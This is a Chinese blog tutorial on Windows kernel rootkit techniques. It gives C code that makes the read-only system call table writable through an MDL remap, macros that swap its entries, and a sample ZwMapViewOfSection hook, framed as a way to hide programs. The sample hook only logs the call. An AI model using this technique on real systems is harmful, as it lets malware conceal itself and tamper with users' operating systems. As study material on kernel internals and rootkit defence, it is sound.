内核钩子学习

如何建立内核级钩子控制操作系统实现程序隐身

我们知道,应用程序总是离不开系统内核所提供的服务,比如它要使用内存的时候,只要跟操作系统申请就行了,而不用自己操心哪里有空闲的内存空间等问题,实际上,这些问题是由操作系统的内核来代劳的。站在黑客的角度讲,如果能够控制内核,实际上就是控制了内核之上的各种应用程序。本文将向您介绍如何建立内核级钩子来控制操作系统向上提供的各种低级功能。有了内核级钩子,我们不但能够控制、监视其他程序并过滤有关数据,还能用其实现Rootkit本身及其它程序的隐形。

本文首先回顾系统调用表和内存保护方面的知识,然后讲解如何实现内核钩子,最后对一些重要的内核函数进行了简要的说明。

一、系统调用表

系统调用表又称系统服务表或者服务描述符表,是Windows 内核在进行各种系统操作时所需的一个函数指针表。也就是说,这个表中存放的是提供系统服务的各种函数的地址。当然,该表所指向的都是系统自身的一些函数,但是,如果我们对它做了手脚后,就可以让它指向我们自己的函数。这正是本文要讲解的重点。

读者一定要注意,修改系统调用表及替换内核函数时,会对系统全局产生影响,稍有不慎就会导致系统崩溃。所以,下手之前,最好对表中的各个函数要有足够的认识,然后才好用我们自己的函数替换这些内核函数的方法。你对它们了解得越多越深,在实现内核钩子的时候就越顺手。但话又说回来,这个系统调用表中的表项实在是太多了,有的指向字符串操作,有的指向客户机/服务器操作,等等。所以要在短时间内了解所有表项是不可能的,所以下文中对它们只做有选择的、概括的介绍。

二、内存保护

现代的Windows操作系统通常将系统调用表所在内存页设为只读来提供保护。如果不能克服这个问题,实施内核钩子技术就是痴人说梦。因为试图向只读内存写入数据也即修改只读内存区时,立刻就会蓝屏。为此,先让我们来了解一下内存保护方面的有关知识。

内存描述符表是内存保护的一大关键,具体定义详见微软DDK中的ntddk.h头文件,我们这里仅做简要介绍:

typedef struct _MDL {
 struct _MDL *Next;
 CSHORT Size;
 CSHORT MdlFlags;
 struct _EPROCESS *Process;
 PVOID MappedSystemVa;
 PVOID StartVa;
 ULONG ByteCount;
 ULONG ByteOffset;
} MDL, *PMDL;

#define MDL_MAPPED_TO_SYSTEM_VA 0x0001
#define MDL_PAGES_LOCKED 0x0002
#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
#define MDL_ALLOCATED_FIXED_SIZE 0x0008
#define MDL_PARTIAL 0x0010
#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
#define MDL_IO_PAGE_READ 0x0040
#define MDL_WRITE_OPERATION 0x0080
#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
#define MDL_FREE_EXTRA_PTES 0x0200
#define MDL_IO_SPACE 0x0800
#define MDL_NETWORK_HEADER 0x1000
#define MDL_MAPPING_CAN_FAIL 0x2000
#define MDL_ALLOCATED_MUST_SUCCEED 0x4000

#define MDL_MAPPING_FLAGS (MDL_MAPPED_TO_SYSTEM_VA | \
 MDL_PAGES_LOCKED | \
 MDL_SOURCE_IS_NONPAGED_POOL | \
 MDL_PARTIAL_HAS_BEEN_MAPPED | \
 MDL_PARENT_MAPPED_SYSTEM_VA | \
 MDL_SYSTEM_VA | \
 MDL_IO_SPACE )

内存描述符表(MDL)的作用是将虚拟内存映射成物理页。如果将系统调用表所在内存页的MDL的MDLFlags成员设为MDL_MAPPED_TO_SYSTEM_VA 并且该页面被锁定的话,那么就可以使用内核钩子技术了。以下代码将可以达此目的:

#pragma pack(1)
typedef struct ServiceDescriptorEntry
{
 unsigned int *ServiceTableBase;
 unsigned int *ServiceCounterTableBase;
 unsigned int NumberOfServices;
 unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

PVOID* NewSystemCallTable;
PMDL pMyMDL = MmCreateMdl( NULL,
 KeServiceDescriptorTable.ServiceTableBase,
 KeServiceDescriptorTable.NumberOfServices * 4 );
MmBuildMdlForNonPagedPool( pMyMDL );
pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );

好了,我们现在可以通过NewSystemCallTable来新建系统调用表了。系统调用表如下图所示。
 
图1  系统调用表示意图 

进行挂钩时,可以使用以下宏:

#define HOOK_INDEX(function2hook) *(PULONG)((PUCHAR)function2hook+1)

#define HOOK(functionName, newPointer2Function, oldPointer2Function )  \
 oldPointer2Function = (PVOID) InterlockedExchange( (PLONG)
&NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) newPointer2Function)

#define UNHOOK(functionName, oldPointer2Function)  \
 InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)]
 , (LONG)
oldPointer2Function)

使这些宏后,钩子技术会变得更简单,也更安全。因为InterlockedExchange 是原子函数,不会要求中止中断,所以交换指针的方式是安全的;另外,它也不需要用一个宏挂钩之后用另一个宏卸载钩子,所以也更方便。下图向我们展示了拦截系统调用表的过程。
 
图2  系统调用表拦截技术示意图 

系统调用表数据结构KeServiceDescriptorTable不仅含有ntdll.dll 的全部函数指针,还存有系统调用表的基地址和表的大小,当建立我们自己的内存描述符表的时候,这些信息是不可或缺的。利用MDL_MAPPED_TO_SYSTEM_VA 标志,我们可以建立一个不可页出(即不会被换到内存之外)的MDL ,这样我们就可以将其锁定,并把返回的地址用于我们自己的系统调用表,重要的是,这个系统调用表是可写的。

三、定义钩子函数

内核钩子主要有三部分组成:要钩取的函数(在下文中称为目标函数)、替代要钩取的函数的函数(在下文中成为钩子函数)和系统调用表。前面部分介绍了系统调用表的问题,下面开始介绍钩子函数。一般说来,当定义自己的钩子函数时,可以先到DDK 的头文件中找到所想要的函数的原型,然后,稍加修改就能把目标函数变成钩子函数了。

例如,ZwMapViewOfSection 是一个内核函数,允许应用程序把从动态链接库导出的函数映射至内存。如果我们想要钩住这个内核函数,那么可以到ntddk.h头文件中查看其函数原型,如下所示:

NTSYSAPI
NTSTATUS
NTAPI
ZwMapViewOfSection(
 IN HANDLE SectionHandle,
 IN HANDLE ProcessHandle,
 IN OUT PVOID *BaseAddress,
 IN ULONG ZeroBits,
 IN ULONG CommitSize,
 IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
 IN OUT PSIZE_T ViewSize,
 IN SECTION_INHERIT InheritDisposition,
 IN ULONG AllocationType,
 IN ULONG Protect );

有了函数原型,我们就可以确定指向目标函数的指针了,如下所示:

typedef NTSTATUS (*ZWMAPVIEWOFSECTION)(
 IN HANDLE SectionHandle,
 IN HANDLE ProcessHandle,
 IN OUT PVOID *BaseAddress,
 IN ULONG ZeroBits,
 IN ULONG CommitSize,
 IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
 IN OUT PSIZE_T ViewSize,
 IN SECTION_INHERIT InheritDisposition,
 IN ULONG AllocationType,
 IN ULONG Protect );

ZWMAPVIEWOFSECTION OldZwMapViewOfSection;

钩子函数如下所示:

NTSTATUS NewZwMapViewOfSection(
 IN HANDLE SectionHandle,
 IN HANDLE ProcessHandle,
 IN OUT PVOID *BaseAddress,
 IN ULONG ZeroBits,
 IN ULONG CommitSize,
 IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
 IN OUT PSIZE_T ViewSize,
 IN SECTION_INHERIT InheritDisposition,
 IN ULONG AllocationType,
 IN ULONG Protect )
{
 NTSTATUS status;

 DbgPrint("comint32: NewZwMapViewOfSection called.");
 //我们可以对输入为所欲为,既可以马上返回,也可以继续执行原函数

 status = OldZwMapViewOfSection(SectionHandle,
  ProcessHandle,
  BaseAddress,
  ZeroBits,
  CommitSize,
  SectionOffset OPTIONAL,
  ViewSize,
  InheritDisposition,
  AllocationType,
  Protect );

 // 我们可以在此对输出为所欲为,想返回什么,就返回什么
 return status;
}
 

好了,钩子技术的三大件已经准备好了。现在,我们就可以像下面这样使用它们:

HOOK( ZwMapViewOfSection, NewZwMapViewOfSection, OldZwMapViewOfSection );

如果你打算使用DriverUnload ()的话,可千万不要忘了卸载钩子。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值